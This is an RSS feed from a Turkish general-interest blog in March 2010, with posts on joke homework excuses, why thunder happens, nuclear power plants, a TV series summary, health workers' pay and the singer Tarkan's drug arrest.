<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sihirliokul » Sihirliokul.com</title>
	<atom:link href="http://www.sihirliokul.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.sihirliokul.com</link>
	<description>Teknoloji Web net internet Sağlık Eğitim Kadın Çocuk..</description>
	<lastBuildDate>Wed, 10 Mar 2010 12:16:48 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Ödev Yapmama Mazeretleri,Öğrenci Mazeretleri</title>
		<link>http://www.sihirliokul.com/odev-yapmama-mazeretleriogrenci-mazeretleri.html</link>
		<comments>http://www.sihirliokul.com/odev-yapmama-mazeretleriogrenci-mazeretleri.html#comments</comments>
		<pubDate>Wed, 10 Mar 2010 12:13:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Faydalı Bilgiler]]></category>
		<category><![CDATA[ev ödevi]]></category>
		<category><![CDATA[ev ödevi mazeretleri]]></category>
		<category><![CDATA[mazeret]]></category>
		<category><![CDATA[ödev yapmak]]></category>
		<category><![CDATA[öğrenci]]></category>
		<category><![CDATA[öğrenci öğretmen]]></category>
		<category><![CDATA[öğretmen]]></category>

		<guid isPermaLink="false">http://www.sihirliokul.com/?p=1130</guid>
		<description><![CDATA[ Yazı daha icat edilmediği için ödevimi yapamadım öğretmenim.
 Ödevimi yapmıştım ama yolda ödev tabletim kırıldı öğretmenim.
 Mağaramıza ayılar saldırdı, yapamadım öğretmenim.
 Savaş çıktı yapamadım öğretmenim.
 Evimizi dinozorlar yıktı, yapamadım öğretmenim.
 Dün İstanbul&#8217;u fethettim, bu yüzden yapamadım öğretmenim.
 Elektirikler kesikti yapamadım öğretmenim.
 Ödev disketim kırıldı yapamadım öğretmenim.
 Ne alakası varsa sular kesikti yapamadım öğretmenim.
 Dün viagrayı biraz fazla kaçırmışım da yapamadım öğretmenim.
 Ay ödev bugün mü [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-family: Arial TUR; font-size: x-small;"> Yazı daha icat edilmediği için ödevimi yapamadım öğretmenim.</span><br />
<span style="font-family: Arial Tur; color: #000000; font-size: x-small;"> Ödevimi yapmıştım ama yolda ödev tabletim kırıldı öğretmenim.</span><br />
<span style="font-family: Arial Tur; color: #000000; font-size: x-small;"> Mağaramıza ayılar saldırdı, yapamadım öğretmenim.</span><br />
<span style="font-family: Arial Tur; color: #000000; font-size: x-small;"> Savaş çıktı yapamadım öğretmenim.</span><br />
<span style="font-family: Arial Tur; color: #000000; font-size: x-small;"> Evimizi dinozorlar yıktı, yapamadım öğretmenim.</span><br />
<span style="font-family: Arial Tur; color: #000000; font-size: x-small;"> Dün İstanbul&#8217;u fethettim, bu yüzden yapamadım öğretmenim.</span><br />
<span style="font-family: Arial Tur; color: #000000; font-size: x-small;"> Elektirikler kesikti yapamadım öğretmenim.</span><br />
<span style="font-family: Arial Tur; color: #000000; font-size: x-small;"> Ödev disketim kırıldı yapamadım öğretmenim.</span><br />
<span style="font-family: Arial Tur; color: #000000; font-size: x-small;"> Ne alakası varsa sular kesikti yapamadım öğretmenim.</span><br />
<span style="font-family: Arial Tur; color: #000000; font-size: x-small;"> Dün viagrayı biraz fazla kaçırmışım da yapamadım öğretmenim.</span><br />
<span style="font-family: Arial Tur; color: #000000; font-size: x-small;"> Ay ödev bugün mü verilecekti, nasıl da unutmuşum öğretmenim!..</span><br />
<span style="font-family: Arial Tur; color: #000000; font-size: x-small;"> Yazıcımın mürekkebi bitmişti yapamadım öğretmenim.</span></p>
<p>buldun.com</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sihirliokul.com/odev-yapmama-mazeretleriogrenci-mazeretleri.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gök Neden Gürler? Gök Gürlemesi</title>
		<link>http://www.sihirliokul.com/gok-neden-gurler-gok-gurlemesi.html</link>
		<comments>http://www.sihirliokul.com/gok-neden-gurler-gok-gurlemesi.html#comments</comments>
		<pubDate>Wed, 10 Mar 2010 12:02:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Genel]]></category>
		<category><![CDATA[elektrik akımı]]></category>
		<category><![CDATA[gök gürleme olayı]]></category>
		<category><![CDATA[gök gürlemesi]]></category>
		<category><![CDATA[gök neden gürler]]></category>
		<category><![CDATA[şimşek]]></category>
		<category><![CDATA[şimşek nasıl çakar]]></category>
		<category><![CDATA[yağmur]]></category>
		<category><![CDATA[yağmur nasıl yağar]]></category>
		<category><![CDATA[yıldırım]]></category>

		<guid isPermaLink="false">http://www.sihirliokul.com/?p=1126</guid>
		<description><![CDATA[Gök Neden gürler sorusunu hep merak etmişizdir özellikle çocuk yaşlarımızda. Özellikle bahar aylarında yağan yağmurlarla gök gürleyip şimşekler çakarken neden kış aylarında gök gürlemez? Çünkü Kış aylarında kar yağarken şimşek yıldırım ve gök gürültüsü nadiren olur. Yıldırım ve gök gürültüsü en çok yaz aylarında hava ılık ve nemli iken yükselen havanın etkisiyle olur. Kış aylarında [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.sihirliokul.com/wp-content/uploads/2010/03/simsek_cakisi.jpg"><img class="alignleft size-medium wp-image-1127" title="simsek_cakisi" src="http://www.sihirliokul.com/wp-content/uploads/2010/03/simsek_cakisi-300x225.jpg" alt="" width="300" height="225" /></a>Gök Neden gürler sorusunu hep merak etmişizdir özellikle çocuk yaşlarımızda. Özellikle bahar aylarında yağan yağmurlarla gök gürleyip şimşekler çakarken neden kış aylarında gök gürlemez? Çünkü Kış aylarında kar yağarken şimşek yıldırım ve gök gürültüsü nadiren olur. Yıldırım ve gök gürültüsü en çok yaz aylarında hava ılık ve nemli iken yükselen havanın etkisiyle olur. Kış aylarında havanın alçak ve yüksek kısımları arasında ısı farkı az alçak seviyelerde ise nem de fazla olduğundan şimşek yıldırım ve sonucunda gök gürültüsü olayı daha az görülür.</p>
<p>Şimşek veya yıldırım etraflarındaki havayı saniyenin milyonda biri kadar bir sürede 30.000 dereceye kadar ısıtırlar. Isınan bu hava aniden genleşir genişler. Normal <a>Atmosfer </a>basıncının neredeyse 100 misli bir basınçla ses hızından çok hızlı ses dalgaları yayar. Bu aynen ses hızını geçen uçaklarda olduğu gibi kulağımıza bir nevi patlama sesi olarak ulaşır. Buna gök gürlemesi diyoruz.<span id="more-1126"></span></p>
<p>Şimşek de yıldırım da tek bir olay değil bir seri olayın birleşimidirler. Yıldırımın ilk çakışından sonraki yukarı doğru olan dönüş çakışında elektrik akımı daha güçlü olduğundan kulağımıza gelen ikinci ses birincisinden güçlüdür.</p>
<p>Yıldırım veya şimşeğin görülmesi ile gök gürlemesinin duyulması arasında geçen süre saniye olarak ölçülür ve üçe bölünürse uzaklık kilometre olarak bulunabilir. Çünkü gök gürültüsünün sesi bize ses hızı ile ulaşırken şimşek ve yıldırımın görüntüsü gözümüze ışık hızıyla ulaşır.</p>
<p>Gök gürlemesi normal şartlarda 24 kilometreden daha fazla mesafelerden işitilmez</p>
<p><!-- http://www.diyadinnet.com/ --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.sihirliokul.com/gok-neden-gurler-gok-gurlemesi.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nükleer Santraller Yararları ve Zararları</title>
		<link>http://www.sihirliokul.com/nukleer-santraller-yararlari-ve-zararlari.html</link>
		<comments>http://www.sihirliokul.com/nukleer-santraller-yararlari-ve-zararlari.html#comments</comments>
		<pubDate>Wed, 10 Mar 2010 11:52:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Genel]]></category>
		<category><![CDATA[ankara]]></category>
		<category><![CDATA[atom enerjisi]]></category>
		<category><![CDATA[hacettepe]]></category>
		<category><![CDATA[hidroelektrik santraller]]></category>
		<category><![CDATA[nükleer santraller]]></category>
		<category><![CDATA[nükleer santraller zararları]]></category>
		<category><![CDATA[nükleer santrallerin yararları]]></category>
		<category><![CDATA[santral türleri]]></category>
		<category><![CDATA[taek]]></category>
		<category><![CDATA[türkiye]]></category>

		<guid isPermaLink="false">http://www.sihirliokul.com/?p=1121</guid>
		<description><![CDATA[Santral Türleri
Bir ülke elektrik enerjisini hemen hemen her alanda kullanır.Bu elektrik enerjisini santrallerden sağlanır.Santraller üç gruba ayrılır.
a)Hidroelektrik santralleri
b)Termik santraller
c)Nükleer santraller
Hidroelektrik santrallerde suyun potansiyel enerjisinden, termik santrallerde yakacaklar yakılmasından ve nükleeer santrallerde atomun çekirdeğinin parçalanmasından açığa çıkan enerji kullanılılır.
2)Nükleer Santrallerde Enerji Üretimi
Nükleer santralde enerji,istasyonun merkezindeki reaktörün içinde üretilen ısıyla sağlanır.Bu ısı,uranyum atomunun zincirleme reaksiyonu sonucu elde [...]]]></description>
			<content:encoded><![CDATA[<p>Santral Türleri</p>
<p>Bir ülke elektrik enerjisini hemen hemen her alanda kullanır.Bu elektrik enerjisini santrallerden sağlanır.Santraller üç gruba ayrılır.<br />
a)Hidroelektrik santralleri<br />
b)Termik santraller<br />
c)Nükleer santraller</p>
<p>Hidroelektrik santrallerde suyun potansiyel enerjisinden, termik santrallerde yakacaklar yakılmasından ve nükleeer santrallerde atomun çekirdeğinin parçalanmasından açığa çıkan enerji kullanılılır.</p>
<p><strong>2)Nükleer Santrallerde Enerji Üretimi</strong><br />
Nükleer santralde enerji,istasyonun merkezindeki reaktörün içinde üretilen ısıyla sağlanır.Bu ısı,uranyum atomunun zincirleme reaksiyonu sonucu elde edilir.Bu reaksiyon kontrollü bir şekilde yapılır.Nötronların sürati önce modülatörden geçirilerek yavaşlatılır ve böylece diğer çekirdekleri parçalamaları kolaylaştırır.Reaktörde açığa çıkan nötronlar emme yeteneği olan kontrol çubukları vardır.Buradan nötronları bırakarak veya çekerek reaksiyonlar kontrol altına alınır.Bölünen uranyumatomları ısı verir.<span id="more-1121"></span></p>
<p>Çubuklardan çıkan bu ısı reaktörün çevresini saran gaz tabakası tarafından emilir.Isınan gaz,ısı değiştiricisi de denilen ısı eşanjörüne alınır.Bunlara ısı değiştiricisi de denmesinin nedeni,gazda bulunan ısıyı ufak boruların içindeki suya vermeleridir.Isı eşanjörünün üstündeki su,aşırı ısınma sonucu buharlaştırılır.Bu şekilde oluşturulan buhar sadece yüksek bir ısıya değil,aynı zamanda yüksek bir basınca da sahiptir.Bu yüksek basınç ve sıcak buhar kalın borular aracılığıyla türbinlere yollanıTürbin içinde bulunan pervane basınlı gazla döner,türbin jeneratöre bağlıdır ve süratle dönünce enerji üretir.Oluşan buhar yeniden ısı haline gelir,su yine buharlaşır.</p>
<p>Uranyum sadece su üretmez,radyasyon da üretir ve radyasyon insan sağlığı için son derece zararlı ve tehlikelidir.Bu nedenle reaktör içindeki reakasiyonu dışarıya çıkaramayacak şekilde çelik ve çok kalın betonla örtülüdür.Kontrol odasında herşey büyük bir dikkatle monitörden izlenir.Burada çalışanlar oluşan elektrik enerjisinin büyük bir kentin enerji ihtiyacını karşılayacak kadar olmasını sürekli bir şekilde denetler.</p>
<p><strong>Atıkların Korunması ve Saklanması</strong><br />
Sonunda reaktörün içinde yeterli ısıyı üretecek enerji kalmaz. Uranyum atomlarındaki enerji tükenmiştir.Bu çubuklar son derece sıcak hem de taşıdıkları radyasyon nedeniyle tehlikelidir. Bu nedenle özel,kalın muhafazalı yöntemlerle alınırlar.</p>
<p>Uranyum çubukları soğuyuncaya,radyasyon normal seviyeye gelinceye kadar suyun altında muhafaza edilirler.Zamanı gelince de bunlar kalın muhafazalar içinde dikkatle analizlerinin yapılacağı istasyonlara nakledilirler.Burada yapılan analizler sonucu radyasyon seviyesi yüksek olanlar ayrılır. Radyasyonu normal düzeye inen katı cisimler toprağa gömü- lürken,sıvı denize verilir.Radyasyonu yüksek olanlar,bu amaçla yapılmış özel binalara alınır.Reaktörümüzde uranyum atomlarının bölünmesiyle elektrik üretmeye daha yıllarca devam eder.</p>
<p>1kg uranyumun vereceği enerjiyi ancak 25ton kömürün yanmasıyla elde edilir.Uranyum çok daha fazla enerji üretebilir ama işlem sırasında sadece %1&#8242;i kullanılır.</p>
<p>Bugün İngiltere&#8217;nin elektrik enerjisinin %20&#8217;sini ve gelecekte daha çok bu enerjiyi karşılayacak olan uranyum sağlar.<br />
<strong>Nükleer Santrallerin Önemi ve Zararları</strong><br />
Nükleer santrallerde Atom çekirdekleri parçalanarak enerji sağlanır.Atomun çıkardığ ısı enerjisi yüksektir,ama çıkardığı radyasyon ancak özel binalarda veya kurşun mezarlarda saklanır ve uzun yıllar radyasyon yayar.</p>
<p>1970&#8242;li yıllarda yaşanan petrol darboğazında Nükleer enerjiyle kurtulunmuş ama saklanması da çok pahalı olduğundan talep azalmıştır.</p>
<p>Ayrıca santraldeki ufak bir sızıntı milyonlarca canlının radyasyona maruz kalmasına sebep olacaktır.Örneğin;1986 yılında Rusya&#8217;da Çernobil Nükleet Santrali&#8217;ndeki sızıntıdan 3milyon insan radyasyona maruz kalmış,radyasyon,Karadeniz kıyılarına kadar ulaşmıştır.</p>
<p>Türkiye&#8217;de de 1976&#8242;dan beri Akkuyu&#8217;da nükller santral kurulması gündeme gelmiştir ama çevre örgütlerinin baskılarıyla ertelenmiştir.Ayrıca 25km açığından geçen Ecemiş Fayı&#8217;da burayı tehdit etmektedir.</p>
<p><strong>ATOM ENERJİSİ İLE İLGİLİ KURULUŞLAR</strong><br />
<strong>1)Atom Enerjisi Ajansı(Uluslararası)</strong><br />
Birleşmiş Milletlerin koruyuculuğu altında,özerk eğilimde hükümetler arası örgüt.957&#8242;de kuruldu,merkezi Viyana&#8217;dadır. Genel amacı,atom enerjisinin tüm dünyada barışa,sağlığa ve refaha katkılarını çabuklaştırmak ve arttırmaktır.5 Mart 1970&#8242;te yürürlüğe giren nükleer silahların yayılmasının önlenmesi antlaşması ajansı,atom ve enerjisinin barışçı amaçlarla kullanılmasının nükleer silah üretimine yol açmaması için çalışmalar yapmakla görevlendirilmiştir.IAEA 110 üye devleti biraraya getirir.Türkiye, 14 Haziran 1957 tarihi ve 7015 yasa uyarınca ajansa üyedir.</p>
<p><strong>2)Atom Enerjisi Kurumu(Türkiye)</strong><br />
Türkiye&#8217;de,atom enerjisinin kalkınma planlarına uygun olarak,barışçı amaçlarla ve ülke yararına kullanılmasını sağlamak;temel ilke ve politikalar belirleyip önermek; bilimsel teknik ve idari çalışmalar yapmak, düzenlemek, desteklemek,kordine etmek ve denetlemek üzere yasayla kurulmuş bir kamu tüzel kişidir. 6821 sayılı yasayla 956&#8242;da kurulan Atom Enerjisi Komisyonu&#8217;nun yeniden örgütlenmesine ilişkin 2680 sayılı yasa uyarınca 1982&#8242;de faaliyete geçen Atom Enerjisi Kurumu(kısa adıTAEK)Atom Enerjisi Komisyonu,Danışma Kurulu,İhtisas Daireleri ve bağlı kuruluşlardan oluşur.TAEK başkanı,konusunda bilgi ve uzmanlık sahibi kişiler arasından başbakan tarafından seçilir ve ortak kararname ile atanır.Atom Enerjisi Komisyonu,TAEK başkanının başkanlığında başkan yardımcıları,Milli savunma,dışişleri enerji ve tabi kaynaklar bakanlıklarından birer üye ile nükleer alanda eğitim,öğretim ve araştırma yapan dört öğretim üyesinden;Dannışma Kurulu da nükleer alanda çalışan öğreten üyeleri ile öteki ilgili kamu kurum ve kuruluşlarındaki uzmanlar arasından,Atom enerjisikomisyonu&#8217;nun önerisi ve başbakanın onayı ile görevlendirilen kişilerden oluşur.Kurumun başlıca ihtisas daireleri;Nükleer güvenlik dairesi;Radyasyon sağlığı ve güvenliği dairesi; Araştırma-geliştirme-koordinasyon dairesi ve Teknoloji dairesi&#8217;dir.Kurum,ayrıca nükleer alanda çalışmalar yapmak üzere,araştırma ve eğitim merkezleri,laboratuvarlar,deneme merkezleri ve güç üretimine dönük olmayan pilot tesisler gibi bağlı kuruluşlar oluşturulabilir.Halen kuruma bağlı olarak çalışan dört kuruluş bulunmaktadır: 1962&#8242;de İstanbul&#8217;da kurulan Çekmece nükleer araştırma ve eğitim merkezi, 1966&#8242;da Ankara&#8217;da çalışmaya başlayan Ankara nükleer araştırma ve eğitim merkezi,1981&#8242;de kurulanAnkara-Lalahan veteriner hekimlik hayvancılık nükleer araştırma enstitüsü,1986&#8242;da</p>
<p>Karadeniz Üniversitesi&#8217;nde kurulan ve 1987 yılında çalışmaya başlayan Deniz ve çevre radyobiyolojisi araştırma enstitüsüdür.</p>
<p><strong>3)Nükleer Bilimler Enstitüsü</strong><br />
Ankara&#8217;da Hacettepe Ünüversitesi&#8217;ne bağlı olarak nükleer bilimler alanında lisansüstü eğitim ve araştırma yapan yükseköğretim kurumudur.1982&#8242;de kurulan enstitü, Türkiye&#8217;de nükleer teknoloji&#8217;nin kurulup geliştirilmesi için gerekli bilimadamlarını yetiştirmeyi amaçlar;nükleer reaktör tasarımı ile ilgili çeşitli düzeylerde araştırmalar yapar.Çalışmalar arasında nötronik alanındaki ve termikleşme hesapları ile ilgili kurumsal ve sayısal araştırmaların yanında,deneysel araştırmalar da yer alır;nötron etkinleştirme konusundaki çalışmalar sürdürülmektedir.</p>
<p><strong>4)Nükleer Enerji Ajansı</strong><br />
Ekonomik işbirliği ve kalkınma teşkilatı üyesi Avrupa ülkeleriyle Avust-ralya,ABD,Kanada ve Japonya&#8217;nın üyesi olduğu kuruluştur.Avrupa toplulukları komisyonudur.</p>
<p>Nükleer enerji ajansı&#8217;nın çalışmalarına katılır.Kuruluşun merkezi Paris&#8217;tedir.Amacı,nükleer enerjinin barışçı amaçlarla kullanılmasını uyumlu bir biçimde geliştirmektedir. Öteki ululararası kuruluşlarla ve özellikle de Uluslararası atom enerjisi ajansı ile işbirliği yapar.</p>
<p>teknolojivebilim.com</p>
<p><!-- http://www.diyadinnet.com/ --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.sihirliokul.com/nukleer-santraller-yararlari-ve-zararlari.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>4 Mart Aşkı Memnu Özeti</title>
		<link>http://www.sihirliokul.com/4-mart-aski-memnu-ozeti.html</link>
		<comments>http://www.sihirliokul.com/4-mart-aski-memnu-ozeti.html#comments</comments>
		<pubDate>Mon, 01 Mar 2010 15:05:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Genel]]></category>
		<category><![CDATA[4 mart aşkı memnu]]></category>
		<category><![CDATA[aşkı memnu]]></category>
		<category><![CDATA[aşkı memnu bihter]]></category>
		<category><![CDATA[aşkı memnu bitiyormu]]></category>
		<category><![CDATA[aşkı memnu final]]></category>
		<category><![CDATA[aşkı memnu özeti]]></category>
		<category><![CDATA[hazal kaya]]></category>
		<category><![CDATA[kıvanç tatlıtuğ]]></category>
		<category><![CDATA[yasak aşk]]></category>
		<category><![CDATA[yasak aşk öğreniliyormu]]></category>

		<guid isPermaLink="false">http://www.sihirliokul.com/?p=1117</guid>
		<description><![CDATA[
Sevilen dizinin finalinde Behlül&#8217;le Bihter&#8217;in aşkı ortaya çıkıyor&#8230;Olan Nihal&#8217;e oluyor
Aşk-ı Memnu da bu hafta nefesler tutuluyor. Dizinin perşembe günü yayınlanacak olan bölümünde,Hilmi Önal&#8217;ın kurduğu planlar sayesinde ihanetin kokusunu alan Adnan, Bihter ile konuşmaya karar veriyor.
Babasının oyunlarından sorumlu tutulan ve yanlış anlaşılmaları sonlandırmaya çalışan Nihat, Sayit&#8217;i bularak Ziyagiller&#8217;in malikanesine getirecek.
Behlül amcasının tavırları karşısında duyduğu vicdan azabından [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.sihirliokul.com/wp-content/uploads/2010/03/memnu_1_9.jpg"><img class="alignleft size-medium wp-image-1118" title="memnu_1_9" src="http://www.sihirliokul.com/wp-content/uploads/2010/03/memnu_1_9-300x203.jpg" alt="" width="300" height="203" /></a></p>
<p>Sevilen dizinin finalinde Behlül&#8217;le Bihter&#8217;in aşkı ortaya çıkıyor&#8230;Olan Nihal&#8217;e oluyor</p>
<p>Aşk-ı Memnu da bu hafta nefesler tutuluyor. Dizinin perşembe günü yayınlanacak olan bölümünde,Hilmi Önal&#8217;ın kurduğu planlar sayesinde ihanetin kokusunu alan Adnan, Bihter ile konuşmaya karar veriyor.</p>
<p>Babasının oyunlarından sorumlu tutulan ve yanlış anlaşılmaları sonlandırmaya çalışan Nihat, Sayit&#8217;i bularak Ziyagiller&#8217;in malikanesine getirecek.</p>
<p>Behlül amcasının tavırları karşısında duyduğu vicdan azabından kurtulmak için evi terk ederken, onu durdurmaya çalışan Nihal merdivenlerden yuvarlanıyor&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sihirliokul.com/4-mart-aski-memnu-ozeti.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sağlıkçıların Maaş Zamı Ne Kadar?Sağlık Çalışanları Ne Kadar Zam Alacak?</title>
		<link>http://www.sihirliokul.com/saglikcilarin-maas-zami-ne-kadarsaglik-calisanlari-ne-kadar-zam-alacak.html</link>
		<comments>http://www.sihirliokul.com/saglikcilarin-maas-zami-ne-kadarsaglik-calisanlari-ne-kadar-zam-alacak.html#comments</comments>
		<pubDate>Mon, 01 Mar 2010 14:53:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Genel]]></category>
		<category><![CDATA[önlisans]]></category>
		<category><![CDATA[sağlık]]></category>
		<category><![CDATA[sağlık bakanlığı]]></category>
		<category><![CDATA[sağlık çalışanları]]></category>
		<category><![CDATA[sağlık çalışanları ne kadar maaş alıyor]]></category>
		<category><![CDATA[sağlık çalışanları ne kadar zam alacak]]></category>
		<category><![CDATA[yök]]></category>

		<guid isPermaLink="false">http://www.sihirliokul.com/?p=1114</guid>
		<description><![CDATA[
35 bin sağlıkçının maaşı artacak


YÖK’ün 4 Şubat 2010’da Laborant ve Veteriner Sağlık Önlisans Programını sağlıkla ilgili bir üst öğrenim saymasının ardından, Sağlık Bakanlığı da bir yazıyla taşra teşkilatlarını bilgilendirerek, gerekli işlemlerin 4 Şubat itibariyle yapılmasını istedi. Ancak Sağlık çalışanlarına yapılacak olan zam henüz belli değil&#8230;
Türk Sağlık-Sen yaptığı yazılı açıklamada, taşra teşkilatlarının düzenlemesinin ardından çalışanların maaşlarındaki [...]]]></description>
			<content:encoded><![CDATA[<div id="divAdnetKeyword">
<h1>35 bin sağlıkçının maaşı artacak</h1>
</div>
<div id="divAdnetKeyword2">
<p>YÖK’ün 4 Şubat 2010’da Laborant ve Veteriner <span><strong>Sağlık</strong></span> Önlisans Programını sağlıkla ilgili bir üst öğrenim saymasının ardından, Sağlık Bakanlığı da bir yazıyla taşra teşkilatlarını bilgilendirerek, gerekli işlemlerin 4 Şubat itibariyle yapılmasını istedi. Ancak Sağlık çalışanlarına yapılacak olan zam henüz belli değil&#8230;</p>
<p>Türk Sağlık-Sen yaptığı yazılı açıklamada, taşra teşkilatlarının düzenlemesinin ardından çalışanların maaşlarındaki kayıpların sona ereceği müjdesini verdi. Sendika, yaklaşık 35 bin sağlıkçının maaşı ve döner sermayeden alacağı payın yükseleceğini belirtti&#8230;</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.sihirliokul.com/saglikcilarin-maas-zami-ne-kadarsaglik-calisanlari-ne-kadar-zam-alacak.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tarkan Cezaevine Gidecek mi?</title>
		<link>http://www.sihirliokul.com/tarkan-cezaevine-gidecek-mi.html</link>
		<comments>http://www.sihirliokul.com/tarkan-cezaevine-gidecek-mi.html#comments</comments>
		<pubDate>Mon, 01 Mar 2010 14:43:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Genel]]></category>
		<category><![CDATA[tarkan]]></category>
		<category><![CDATA[tarkan cezaevinde]]></category>
		<category><![CDATA[tarkan cezaevine gidecek mi]]></category>
		<category><![CDATA[tarkan görüntüleri]]></category>
		<category><![CDATA[tarkan haberleri]]></category>
		<category><![CDATA[tarkan neden tutuklandı]]></category>
		<category><![CDATA[tarkan uyuşturucu kullanıyormu]]></category>

		<guid isPermaLink="false">http://www.sihirliokul.com/?p=1109</guid>
		<description><![CDATA[
Uyuşturucu operasyonu kapsamında gözaltına alınarak adliyeye sevkedilen Tarkan&#8217;ın savcılık sorgusu tamamlandı.
Tarkan&#8217;ın sorgusu saat 14.00 sıralarında başladı ve yaklaşık 45 dakika sürdü. Tarkan&#8217;ın ifadesinin yaklaşık 2,5 sayfa sürdüğü öğrenildi. Savcının ünlü sanatçıya uyuşturucu madde içip içmediği sorduğu Tarkan&#8217;ın uyuşturucu madde kullandığını belirterek, &#8216;Pişmanım&#8217; dediği ifade edildi. Tarkan&#8217;ın savcının, &#8220;Arkadaşlarına uyuşturucu temin ettin mi&#8221; sorusuna ise, &#8220;Temin [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.sihirliokul.com/wp-content/uploads/2010/03/tarkan.jpg"><img class="alignleft size-medium wp-image-1111" title="tarkan" src="http://www.sihirliokul.com/wp-content/uploads/2010/03/tarkan-300x241.jpg" alt="" width="300" height="241" /></a><a href="http://www.sihirliokul.com/wp-content/uploads/2010/03/tarkan-patl%C4%B1yorum.jpg"></a></p>
<p>Uyuşturucu operasyonu kapsamında gözaltına alınarak adliyeye sevkedilen Tarkan&#8217;ın savcılık sorgusu tamamlandı.</p>
<p>Tarkan&#8217;ın sorgusu saat 14.00 sıralarında başladı ve yaklaşık 45 dakika sürdü. Tarkan&#8217;ın ifadesinin yaklaşık 2,5 sayfa sürdüğü öğrenildi. Savcının ünlü sanatçıya uyuşturucu madde içip içmediği sorduğu Tarkan&#8217;ın uyuşturucu madde kullandığını belirterek, &#8216;Pişmanım&#8217; dediği ifade edildi. Tarkan&#8217;ın savcının, &#8220;Arkadaşlarına uyuşturucu temin ettin mi&#8221; sorusuna ise, &#8220;Temin etmedim&#8221; yanıtını verdiği öğrenildi <span id="more-1109"></span></p>
<p><strong>HAYRANLARINDAN DESTEK</strong></p>
<p>İstanbul&#8217;da düzenlenen uyuşturucu operasyonunda gözaltına alınan ve bugün Beşiktaş&#8217;taki İstanbul Adliyesi&#8217;ne getirilen Tarkan&#8217;ın bir grup hayranı adliyeye geldi.</p>
<p>Tarkan&#8217;a benzerliği ile dikkat çeken bir hayranı, &#8220;Biz Tarkan&#8217;ı çok seviyoruz. Onu hiçbirşey bizim gözümüzde batıramaz. Biz onu ibadet edercesine çok seviyoruz&#8221; dedi. Bir başka Tarkan hayranı da, Tarkan&#8217;ın da hata yapabileceğini belirterek, &#8220;Mutlaka hatasını telafi edecektir diye düşünüyorum. Tahliyesi olacak diye umuyoruz ve bekliyoruz. Aksi bir durumda ki, düşünmek istemiyoruz ama o zaman da sabret incitanem diyoruz&#8221; diye konuştu. Tarkan&#8217;ın hayranları ünlü şarkıcıya &#8220;sabret incitanem&#8221; diyerek seslendi.</p>
<p><strong>POLİSLER ETTEN DUVAR ÖRDÜ</strong></p>
<p>İstanbul&#8217;da düzenlenen uyuşturucu operasyonunda gözaltına alınan Tarkan&#8217;ın da aralarında bulunduğu 10 şüpheli, adliyeye sevkedildi. Tarkan&#8217;ın görüntülenmemesi için polis yine yoğun çaba sarfetti. Tarkan, garaj kapısına sıfır olarak yanaştırılan polis aracına bindirildi. Tarkan ve diğer şüphelilerin bulunduğu araçlar konvoy halinde yola çıktı. Aynı operasyonda gözaltına alınan şüpheliler adliyeye ön kapıdan sokulurken Tarkan, hakim ve savcıların giriş yaptığı kapıdan adliyeye alındı. Tarkan&#8217;ın görüntülenmemesi için polis etten duvar ördü. Polis aracından eğilerek inen Tarkan adliye kapısına koşarken kameralara böyle yansıdı.</p>
<p>milliyet</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sihirliokul.com/tarkan-cezaevine-gidecek-mi.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Balık Çocuk Haberi</title>
		<link>http://www.sihirliokul.com/balik-cocuk-haberi.html</link>
		<comments>http://www.sihirliokul.com/balik-cocuk-haberi.html#comments</comments>
		<pubDate>Mon, 01 Mar 2010 14:35:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Genel]]></category>
		<category><![CDATA[balık çocuk]]></category>
		<category><![CDATA[balık çocuk haberi]]></category>
		<category><![CDATA[balık pulu]]></category>
		<category><![CDATA[buz banyosu]]></category>
		<category><![CDATA[çin]]></category>
		<category><![CDATA[doğu çin]]></category>

		<guid isPermaLink="false">http://www.sihirliokul.com/?p=1104</guid>
		<description><![CDATA[
Doktorları şok eden 14 aylık bebeğin cildi, tıpkı bir balığın pulları gibi&#8230; Doğu Çin&#8217;de yaşayan 14 aylık Song Sheng, derisinin balık pulları gibi görünümüyle doktorlarını şok etti. Küçük Sheng&#8217;in derisinde gözenekler olmadan doğduğu açıklandı. Nadir görülen bir genetik sorun sebebiyle çocuğun vücudunun kendisini soğutamadığı düşünülüyor. Yerel halk tarafından &#8220;balık çocuk&#8221; olarak adlandırılan Sheng&#8217;in doğumunu izleyen [...]]]></description>
